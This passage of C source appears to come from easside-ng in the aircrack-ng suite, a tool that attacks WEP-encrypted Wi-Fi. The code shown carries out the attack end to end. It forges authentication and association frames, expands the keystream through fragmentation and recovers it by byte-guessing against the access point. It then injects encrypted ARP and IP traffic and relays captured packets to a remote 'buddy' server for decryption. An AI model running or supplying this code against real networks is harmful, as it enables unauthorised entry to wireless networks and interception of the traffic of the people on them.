	if (!for_me_and_from_ap(es, wh)) return;

	if (is_dup(es, wh)) return;

	redirect_enque(es, wh, sizeof(*wh) + len);
}

static void
read_data(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
		!= IEEE80211_FC0_SUBTYPE_DATA)
		return;

	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return;

	if (!our_network(es, wh)) return;

	if (!from_me(es, wh))
	{
		if (!es->es_have_packet
			|| (es->es_astate <= AS_FIND_IP && !es->es_have_src))
		{
			ALLEGE((int) sizeof(es->es_packet) >= len);
			memcpy(es->es_packet, wh, len);
			es->es_have_packet = len;

			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1;
			if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0)
				es->es_have_src = 1;
		}

		if (!es->es_have_arp && is_arp(wh, len - sizeof(*wh) - 4 - 4))
		{
			memcpy(es->es_packet_arp, wh, len);
			es->es_have_arp = len;
			if (es->es_astate == AS_DECRYPT_IP)
			{
				printf("\nPreempting to ARP decryption\n");
				es->es_astate = AS_FIND_IP;
			}
		}
	}

	len -= sizeof(*wh);

	switch (es->es_astate)
	{
		case AS_NOPRGA:
			base_prga(es, wh, len);
			es->es_astate = AS_PRGA_EXPAND;
			break;

		case AS_PRGA_EXPAND:
			check_expand(es, wh, len);
			break;

		case AS_FIND_IP:
			break;

		case AS_DECRYPT_ARP:
			check_decrypt_arp(es, wh, len);
			break;

		case AS_DECRYPT_IP:
			check_decrypt_ip(es, wh, len);
			break;

		case AS_FIND_RTR_MAC:
			check_rtr_mac(es, wh, len);
			break;

		case AS_CHECK_INET:
			break;

		case AS_REDIRECT:
			check_redirect(es, wh, len);
			break;

		default:
			abort();
			break;
	}
}

static void read_wifi(struct east_state * es)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 32];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;

	const int len = wi_read(es->es_wi, NULL, NULL, buf, sizeof(buf), NULL);
	if (len < 0 || (size_t) len > sizeof(buf)) err(1, "wi_read()");

	/* XXX: I don't do any length chex */
	if (len < 2)
	{
		printf("Short packet %d\n", len);
		return;
	}

	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
	{
		case IEEE80211_FC0_TYPE_MGT:
			INVARIANT(len == sizeof(struct ieee80211_frame));
			read_mgt(es, wh, len);
			break;

		case IEEE80211_FC0_TYPE_CTL:
			read_ctl(es, wh, len);
			break;

		case IEEE80211_FC0_TYPE_DATA:
			read_data(es, wh, len);
			break;

		default:
			printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
			break;
	}
}

static inline void msec_to_tv(unsigned int msec, struct timeval * tv)
{
	REQUIRE(tv != NULL);

	tv->tv_sec = msec / 1000;
	tv->tv_usec = (msec - tv->tv_sec * 1000) * 1000;
}

static void chan_hop(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	struct timeval now;
	unsigned int elapsed;

	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");

	elapsed = msec_diff(&es->es_lasthop, &now);

	/* hop */
	if (elapsed >= es->es_hopfreq)
	{
		es->es_apchan++;
		if (es->es_apchan > 12) es->es_apchan = 1;
		es->es_lasthop = now;
		set_chan(es);
		printf("Chan %.2d\r", es->es_apchan);
		fflush(stdout);

		msec_to_tv(es->es_hopfreq, tv);
	}
	else
		msec_to_tv(es->es_hopfreq - elapsed, tv);
}

static void fill_basic(struct east_state * es, struct ieee80211_frame * wh)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned short * sp;

	/* macs */
	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); //-V525
	memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2));
	memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));

	/* duration */
	sp = (unsigned short *) wh->i_dur;
	*sp = htole16(0);

	/* seq */
	sp = (unsigned short *) wh->i_seq;
	*sp = fnseq(0, es->es_txseq);
}

static void send_frame(struct east_state * es, void * buf, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(buf != NULL);

	int rc = wi_write(es->es_wi, NULL, LINKTYPE_IEEE802_11, buf, len, NULL);
	if (rc == -1) err(1, "wi_write()");
	if (rc != len)
	{
		printf("ERROR: Packet length changed while transmitting (%d instead of "
			   "%d).\n",
			   rc,
			   len);
		exit(EXIT_FAILURE);
	}

	if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()");
}

static int too_early(struct timeval * tv, int to, struct timeval * last_sent)
{
	struct timeval now;
	unsigned int elapsed;

	/* check if timeout expired */
	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");

	elapsed = msec_diff(last_sent, &now);
	if (elapsed < (unsigned int) to)
	{
		msec_to_tv(to - elapsed, tv);

		return (1);
	}

	msec_to_tv(to, tv);

	return (0);
}

static void send_auth(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 32];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned short * sp;

	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;

	es->es_txseq++;

	memset(buf, 0, sizeof(buf));
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;

	/* transaction number */
	sp = (unsigned short *) ((unsigned char *) wh + sizeof(*wh)); //-V1032
	sp++;
	*sp = htole16(1);

	send_frame(es, wh, sizeof(*wh) + 2 + 2 + 2);
}

static void send_assoc(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 32];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned short * sp;
	int len;
	unsigned char * ptr;

	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;

	memset(buf, 0, sizeof(buf));

	es->es_txseq++;
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;

	sp = (unsigned short *) (wh + 1);

	/* capability */
	*sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY);
	*sp++ = htole16(100); /* listen interval */

	/* ssid */
	ptr = (unsigned char *) sp;
	*ptr++ = IEEE80211_ELEMID_SSID;
	len = strlen(es->es_apssid);
	*ptr++ = len;
	strncpy((char *) ptr, es->es_apssid, 32);
	ptr += len;

	/* rates */
	*ptr++ = IEEE80211_ELEMID_RATES;
	*ptr++ = 8;
	*ptr++ = 2 | 0x80;
	*ptr++ = 4 | 0x80;
	*ptr++ = 11 | 0x80;
	*ptr++ = 22 | 0x80;
	*ptr++ = 12 | 0x80;
	*ptr++ = 24 | 0x80;
	*ptr++ = 48 | 0x80;
	*ptr++ = 72;

	/* x-rates */
	*ptr++ = IEEE80211_ELEMID_XRATES;
	*ptr++ = 4;
	*ptr++ = 48;
	*ptr++ = 72;
	*ptr++ = 96;
	*ptr++ = 108;

	len = ptr - buf;
	printf("Sending assoc request\n");
	send_frame(es, wh, len);
}

static void expand_prga(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 32];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	unsigned short * sp = (unsigned short *) wh->i_seq;
	int dlen;
	int early;
	int totlen;

	/* start from beginning */
	if (es->es_expand_num == -1)
	{
		es->es_txack = 0;
		es->es_expand_num = 0;
		es->es_txseq++;
		es->es_clearp = es->es_clear;
	}

	early = too_early(tv, es->es_txto_expand, &es->es_txlast);

	if (!es->es_txack && early) return;

	memset(buf, 0, sizeof(buf));

	/* see if we got an ack to move onto next frag */
	if (es->es_txack)
	{
		es->es_expand_num++;
		es->es_clearp = es->es_clearpnext;
		if (es->es_expand_num == es->es_expand_factor)
		{
			es->es_expand_num = 0;
			es->es_txseq++;
			es->es_clearp = es->es_clear;
		}
		es->es_txack = 0;
	}
	else
		wh->i_fc[1] |= IEEE80211_FC1_RETRY;

	if (es->es_expand_num == 0 && early) return;

	/* 802.11 header */
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1]
		|= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memset(wh->i_addr3, 0xff, 6);

	/* iv & crc */
	memcpy(data, es->es_iv, 3);
	data += 4;
	dlen = es->es_prgalen - 4;

	/* see how much we sent */
	totlen = dlen * es->es_expand_num;
	es->es_expand_len = totlen + dlen + 4;
	if ((int) sizeof(es->es_prga) < es->es_expand_len)
	{
		es->es_expand_len -= dlen;
		dlen = sizeof(es->es_prga) - totlen - 4;

		/* don't need as many frags; start over */
		if (dlen <= 0)
		{
			es->es_expand_num = -1;
			es->es_expand_len = sizeof(es->es_prga);
			return;
		}

		es->es_expand_len += dlen;
		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
	}

	ALLEGE((es->es_clearp >= es->es_clear)
		   && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)]));
	memcpy(data, es->es_clearp, dlen);
	es->es_clearpnext = es->es_clearp + dlen;

	add_crc32(data, dlen);
	xor(data, data, es->es_prga, es->es_prgalen);

	/* send frag */
	if ((es->es_expand_num + 1) == es->es_expand_factor)
		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;

	*sp = fnseq(es->es_expand_num, es->es_txseq);
	printf("Sending %d byte fragment %d:%d\r",
		   dlen,
		   es->es_txseq,
		   es->es_expand_num);
	fflush(stdout);
	send_frame(es, wh, data - buf + dlen + 4);
}

static void decrypt_packet(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;

	if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return;

	memset(buf, 0, sizeof(buf));

	/* 802.11 header */
	es->es_txseq++;
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memcpy(wh->i_addr3, S_MCAST, 5);
	wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen];

	/* iv & crc */
	memcpy(data, es->es_prga_div, 3);
	data += 4;
	dlen = es->es_prga_dlen - 4 + 1;
	memcpy(data, es->es_clear, dlen);
	add_crc32(data, dlen);
	xor(data, data, es->es_prga_d, es->es_prga_dlen + 1);

	printf_time("Guessing prga byte %d with %.2X\r",
				es->es_prga_dlen,
				es->es_prga_d[es->es_prga_dlen]);
	fflush(stdout);
	send_frame(es, wh, data - buf + dlen + 4);

	es->es_prga_d[es->es_prga_dlen]++;
}

static void decrypt_arp(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	/* init */
	if (es->es_astate != AS_DECRYPT_ARP)
	{
		unsigned char clear[1024];
		unsigned char * prga = es->es_prga_d;
		unsigned char * ct;
		struct ieee80211_frame * wh
			= (struct ieee80211_frame *) es->es_packet_arp;
		int len, clear_len;
		es->es_astate = AS_DECRYPT_ARP;

		ct = (unsigned char *) (wh + 1);
		memcpy(es->es_prga_div, ct, 3);
		ct += 4;

		len = known_clear(clear,
						  &clear_len,
						  NULL,
						  (uint8_t *) wh,
						  8 + sizeof(struct arphdr) + 10 * 2);
		xor(prga, clear, ct, len);
		prga += len;

		*prga = 0;
		es->es_prga_dlen = prga - es->es_prga_d;
	}

	decrypt_packet(es, tv);
}

static void decrypt_ip(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	/* init */
	if (es->es_astate != AS_DECRYPT_IP)
	{
		unsigned char clear[1024] = {0};
		unsigned char * prga = es->es_prga_d;
		unsigned char * ct;
		struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
		int len;
		unsigned short totlen;
		es->es_astate = AS_DECRYPT_IP;

		ct = (unsigned char *) (wh + 1);
		memcpy(es->es_prga_div, ct, 3);
		ct += 4;

		/* llc snap */
		len = 8;
		memcpy(clear, S_LLC_SNAP_IP, len);
		xor(prga, clear, ct, len);
		prga += len;
		ct += len;

		/* ip hdr */
		len = 2;
		memcpy(clear, "\x45\x00", len);
		xor(prga, clear, ct, len);
		prga += len;
		ct += len;

		/* tot len */
		totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
		totlen = htons(totlen);
		memcpy(clear, &totlen, len); //-V512
		xor(prga, clear, ct, len);
		prga += len;
		ct += len;

		*prga = 0;
		es->es_prga_dlen = prga - es->es_prga_d;
	}

	decrypt_packet(es, tv);
}

static void find_ip(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	if (es->es_rtrip.s_addr && es->es_myip.s_addr)
	{
		set_tap_ip(es);
		es->es_astate = AS_FIND_RTR_MAC;

		return;
	}

	if (es->es_have_arp)
		decrypt_arp(es, tv);
	else if (es->es_have_packet)
		decrypt_ip(es, tv);
}

static void send_whohas(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;
	struct arphdr * ah;
	unsigned char * datas;

	if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return;

	memset(buf, 0, sizeof(buf));

	/* 802.11 header */
	es->es_txseq++;
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memset(wh->i_addr3, 0xff, 6);

	/* iv */
	memcpy(data, es->es_iv, 3);
	data += 4;
	datas = data;

	/* llc snap */
	memcpy(data, S_LLC_SNAP_ARP, 8);
	data += 8;

	/* arp */
	ah = (struct arphdr *) data; //-V641
	ah->ar_hrd = htons(ARPHRD_ETHER);
	ah->ar_pro = htons(ETHERTYPE_IP);
	ah->ar_hln = 6;
	ah->ar_pln = 4;
	ah->ar_op = htons(ARPOP_REQUEST);
	data = (unsigned char *) (ah + 1);

	memcpy(data, es->es_mymac, 6);
	data += 6;
	memcpy(data, &es->es_myip, 4);
	data += 4;
	data += 6;
	memcpy(data, &es->es_rtrip, 4);
	data += 4;

	dlen = data - datas;
	add_crc32(datas, dlen);
	assert(es->es_prgalen >= dlen + 4);
	xor(datas, datas, es->es_prga, dlen + 4);

	char const * const netip = inet_ntoa(es->es_rtrip);
	printf("Sending who has %s", netip ? netip : "<unknown>");
	char const * const myip = inet_ntoa(es->es_myip);
	printf(" tell %s\n", myip ? myip : "<unknown>");
	send_frame(es, wh, data - buf + 4);
}

static void check_inet(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;
	struct ip * iph;
	unsigned char * datas;
	unsigned short * seq;
	struct udphdr * uh;

	if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return;

	memset(buf, 0, sizeof(buf));

	/* 802.11 header */
	es->es_txseq++;
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memcpy(wh->i_addr3, es->es_rtrmac, 6);

	/* iv */
	memcpy(data, es->es_iv, 3);
	data += 4;
	datas = data;

	/* llc snap */
	memcpy(data, S_LLC_SNAP_IP, 8);
	data += 8;

	/* ip */
	iph = (struct ip *) data; //-V641
	iph->ip_hl = 5;
	iph->ip_v = 4;
	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
	iph->ip_id = htons(666);
	iph->ip_ttl = 69;
	iph->ip_p = IPPROTO_UDP;
	iph->ip_src = es->es_myip;
	iph->ip_dst = es->es_srvip;
	iph->ip_sum = in_cksum((uint8_t *) iph, 20);

	/* udp */
	uh = (struct udphdr *) (iph + 1); //-V1027
	uh->uh_sport = htons(53);
	uh->uh_dport = htons(es->es_udp_port);
	uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
	uh->uh_sum = 0;

	/* data */
	data = (unsigned char *) (uh + 1);

	memcpy(data, "sorbo", 5);
	seq = (unsigned short *) (data + 5);
	es->es_rpacket_id += 1;
	*seq = htons(es->es_rpacket_id);
	data += S_HELLO_LEN;

	dlen = data - datas;
	add_crc32(datas, dlen);
	ALLEGE(es->es_prgalen >= dlen + 4);
	xor(datas, datas, es->es_prga, dlen + 4);

	printf("Checking for internet... %d\n", es->es_rpacket_id);
	send_frame(es, wh, data - buf + 4);
	if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
}

static void redirect_sendip(struct east_state * es, struct rpacket * rp)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;
	struct ip * iph;
	unsigned char * datas;
	struct udphdr * uh;
	unsigned short * id;

	memset(buf, 0, sizeof(buf));

	/* 802.11 header */
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1]
		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG;
	memcpy(wh->i_addr3, es->es_rtrmac, 6);

	/* iv */
	memcpy(data, es->es_iv, 3);
	data += 4;
	datas = data;

	/* llc snap */
	memcpy(data, S_LLC_SNAP_IP, 8);
	data += 8;

	/* ip */
	iph = (struct ip *) data; //-V641
	iph->ip_hl = 5;
	iph->ip_v = 4;
	dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + dlen);
	iph->ip_id = htons(666);
	iph->ip_ttl = 69;
	iph->ip_p = IPPROTO_UDP;
	iph->ip_src = es->es_myip;
	iph->ip_dst = es->es_srvip;
	iph->ip_sum = in_cksum((uint8_t *) iph, 20);

	/* udp */
	uh = (struct udphdr *) (iph + 1); //-V1027
	uh->uh_sport = htons(53);
	uh->uh_dport = htons(es->es_udp_port);
	uh->uh_ulen = htons(sizeof(*uh) + dlen);
	uh->uh_sum = 0;

	/* packet id */
	id = (unsigned short *) (uh + 1);
	*id++ = htons(rp->rp_id);

	/* data */
	data = (unsigned char *) id;

	dlen = data - datas;
	add_crc32(datas, dlen);
	assert(es->es_prgalen >= dlen + 4);
	xor(datas, datas, es->es_prga, dlen + 4);

	send_frame(es, wh, data - buf + 4);
}

static void redirect_sendfrag(struct east_state * es, struct rpacket * rp)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;
	unsigned short * sp = (unsigned short *) wh->i_seq;

	memset(buf, 0, sizeof(buf));

	/* 802.11 header */
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memcpy(wh->i_addr3, es->es_rtrmac, 6);
	memset(wh->i_addr3, 0xff, 6);
	*sp = fnseq(1, es->es_txseq);

	dlen = rp->rp_len - sizeof(*wh);
	memcpy(data, ((struct ieee80211_frame *) rp->rp_packet) + 1, dlen);

	send_frame(es, wh, sizeof(*wh) + dlen);
}

static void redirect(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	struct rpacket * rp = get_head(es);

	if (!rp) return;

	if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return;

	es->es_txseq++;
	printf("Redirecting packet id %d len %d [qlen %d]\n",
		   rp->rp_id,
		   rp->rp_len,
		   queue_len(es));

	/* rtt */
	if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id))
	{
		es->es_rtt_id = rp->rp_id;

		if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
	}

	/* fire fragz */
	redirect_sendip(es, rp);
	usleep(1 * 1000);
	redirect_sendfrag(es, rp);
}

static void associated(struct east_state * es, struct timeval * tv)
{
	REQUIRE(es != NULL);

	switch (es->es_astate)
	{
		case AS_NOPRGA:
			break;

		case AS_PRGA_EXPAND:
			expand_prga(es, tv);
			break;

		case AS_FIND_IP:
			find_ip(es, tv);
			break;

		case AS_DECRYPT_ARP:
			decrypt_arp(es, tv);
			break;

		case AS_DECRYPT_IP:
			decrypt_ip(es, tv);
			break;

		case AS_FIND_RTR_MAC:
			send_whohas(es, tv);
			break;

		case AS_CHECK_INET:
			check_inet(es, tv);
			break;

		case AS_REDIRECT:
			redirect(es, tv);
			break;

		default:
			abort();
			break;
	}
}

static void buddy_inet_check(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct
	{
		struct in_addr addr;
		unsigned short id;
	} __packed data;
	struct timeval now;
	int rtt;

	REQUIRE(sizeof(data) == 6u);

	if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data))
		err(1, "buddy_inet_check: recv()");

	if (es->es_astate != AS_CHECK_INET) return;

	memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
	char const * const pubip = inet_ntoa(es->es_pubip);
	printf("Internet w0rx.  Public IP %s\n", pubip ? pubip : "<unknown>");

	data.id = ntohs(data.id);
	if (data.id != es->es_rpacket_id)
	{
		printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id);
		return;
	}

	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");

	rtt = msec_diff(&es->es_rtt, &now);
	es->es_astate = AS_REDIRECT;
	printf("Rtt %dms\n", rtt);

	if (es->es_iponly) reset(es);
}

static void buddy_packet(struct east_state * es)
{
	REQUIRE(es != NULL);

	unsigned char buf[2048];
	unsigned short * p = (unsigned short *) buf;
	unsigned short id, len;
	struct rpacket * rp;
	struct ieee80211_frame * wh;
	unsigned char * ptr;
	int got = 0;
	int rc;

	if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4)
	{
		if (rc == -1) err(1, "buddy_packet: recv() id & len");
		printf("buddy_packet: recv id len got %d/%d\n", rc, 4);
		exit(EXIT_FAILURE);
	}

	id = ntohs(*p);
	p++;
	len = ntohs(*p);
	p++;

	ALLEGE(len + 6 <= (int) sizeof(buf));

	ptr = &buf[6];
	got = 0;
	while (got != len)
	{
		int rem = len - got;
		rc = recv(es->es_buddys, ptr, rem, 0);
		if (rc == -1) err(1, "buddy_packet: recv() packet");
		got += rc;
		ptr += rc;
	}

	if (es->es_astate != AS_REDIRECT) return;

	printf_time("Got packet %d", id);
	if (es->es_rtt_id == id)
	{
		struct timeval now;
		int rtt;

		if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");

		rtt = msec_diff(&es->es_rtt, &now);
		es->es_rtt_id = 0;
		printf(" rtt %dms", rtt);

		if (es->es_srtt == 0)
			es->es_srtt = rtt;
		else
		{
			es->es_srtt += rtt;
			es->es_srtt >>= 1;
		}
		if (es->es_srtt == 0) es->es_srtt = 1;

		es->es_txto_redirect = es->es_srtt << 1;
		if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO;

		printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect);
	}
	rp = get_packet(es, id);
	if (!rp)
	{
		printf(" [not in queue]\n");
		return;
	}

	wh = (struct ieee80211_frame *) rp->rp_packet;
	memcpy(buf, get_da(wh), 6);
	memcpy(&buf[6], get_sa(wh), 6);

	len += 6;
	if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()");

	remove_packet(es, id);
	printf(" qlen %d\n", queue_len(es));
	clear_timeout(es);
}

static void read_buddy(struct east_state * es)
{
	REQUIRE(es != NULL);

	unsigned short cmd;
	int rc;

	rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0);
	if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n");

	cmd = ntohs(cmd);

	switch (cmd)
	{
		case S_CMD_INET_CHECK:
			buddy_inet_check(es);
			break;

		case S_CMD_PACKET:
			buddy_packet(es);
			break;

		default:
			abort();
			break;
	}
}

static void read_tap(struct east_state * es)
{
	REQUIRE(es != NULL);

	unsigned char buf[sizeof(struct ieee80211_frame) * 16];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	unsigned char * data = (unsigned char *) (wh + 1);
	int dlen;
	unsigned char * datas;
	unsigned char dst[6];
	struct timeval old;

	memset(buf, 0, sizeof(buf));

	dlen = ti_read(es->es_ti, data - 2, S_MTU + 14);
	if (dlen == -1) err(1, "ti_read()");
	memcpy(dst, data - 2, 6);

	/* 802.11 header */
	es->es_txseq++;
	fill_basic(es, wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
	memcpy(wh->i_addr3, dst, 6);

	/* iv */
	memcpy(data, es->es_iv, 3);
	data[3] = 0;
	data += 4;
	datas = data;

	/* llc snap */
	memcpy(data, S_LLC_SNAP, 6);
	data += 8;

	dlen = dlen - 14 + 8;
	add_crc32(datas, dlen);
	ALLEGE(es->es_prgalen >= dlen + 4);
	xor(datas, datas, es->es_prga, dlen + 4);

	printf_time("Sending frame from tap %d\n", dlen);
	old = es->es_txlast;
	send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4);
	es->es_txlast = old;
}

static void own(struct east_state * es)
{
	REQUIRE(es != NULL);

	fd_set rfds;
	struct timeval tv, *tvp;
	int maxfd;

	if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND;
	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;

	for (;;)
	{
		FD_ZERO(&rfds);
		maxfd = wi_fd(es->es_wi);
		FD_SET(maxfd, &rfds);
		memset(&tv, 0, sizeof(tv));
		tvp = NULL;

		if (es->es_buddys)
		{
			FD_SET(es->es_buddys, &rfds);
			if (es->es_buddys > maxfd) maxfd = es->es_buddys;
		}

		if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED)
		{
			int tapfd = ti_fd(es->es_ti);

			FD_SET(tapfd, &rfds);
			if (tapfd > maxfd) maxfd = tapfd;
		}

		switch (es->es_state)
		{
			case S_SEARCHING:
				if (!es->es_chanlock) chan_hop(es, &tv);
				break;

			case S_SENDAUTH:
				send_auth(es, &tv);
				break;

			case S_SENDASSOC:
				send_assoc(es, &tv);
				break;

			case S_ASSOCIATED:
				associated(es, &tv);
				break;

			default:
				abort();
				break;
		}

		if (tv.tv_sec || tv.tv_usec) tvp = &tv;

		if (select(maxfd + 1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()");

		if (FD_ISSET(wi_fd(es->es_wi), &rfds))
		{
			read_wifi(es);
		}

		if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es);

		if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es);
	}
}

static void usage(char * p)
{
	UNUSED_PARAM(p);

	char * version_info
		= getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
	printf("\n"
		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
		   "  https://www.aircrack-ng.org\n"
		   "\n"
		   "  Usage: easside-ng <options>\n"
		   "\n"
		   "  Options:\n"
		   "\n"
		   "       -h                : This help screen\n"
		   "       -v   <victim mac> : Victim BSSID\n"
		   "       -m      <src mac> : Source MAC address\n"
		   "       -i           <ip> : Source IP address\n"
		   "       -r    <router ip> : Router IP address\n"
		   "       -s     <buddy ip> : Buddy-ng IP address (mandatory)\n"
		   "       -f        <iface> : Interface to use (mandatory)\n"
		   "       -c      <channel> : Lock card to this channel\n"
		   "       -n                : Determine Internet IP only\n"
		   "\n",
		   version_info);
	free(version_info);
}

static void load_prga(struct east_state * es)
{
	REQUIRE(es != NULL);

	int fd;
	int rc;

	fd = open(S_PRGA_LOG, O_RDONLY);
	if (fd == -1) return;

	rc = read(fd, es->es_iv, 3);
	if (rc != 3)
	{
		printf("Can't read IV from %s\n", S_PRGA_LOG);
		exit(EXIT_FAILURE);
	}

	rc = read(fd, es->es_prga, sizeof(es->es_prga));
	if (rc == -1) err(1, "load_prga: read()");
	es->es_prgalen = rc;
	close(fd);

	printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG);
}

int main(int argc, char * argv[])
{
	int ch;
	struct east_state * es = &_es;

	init_defaults(es);

	while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1)
	{
		switch (ch)
		{
			case 'c':
				es->es_chanlock = atoi(optarg);
				break;

			case 'f':
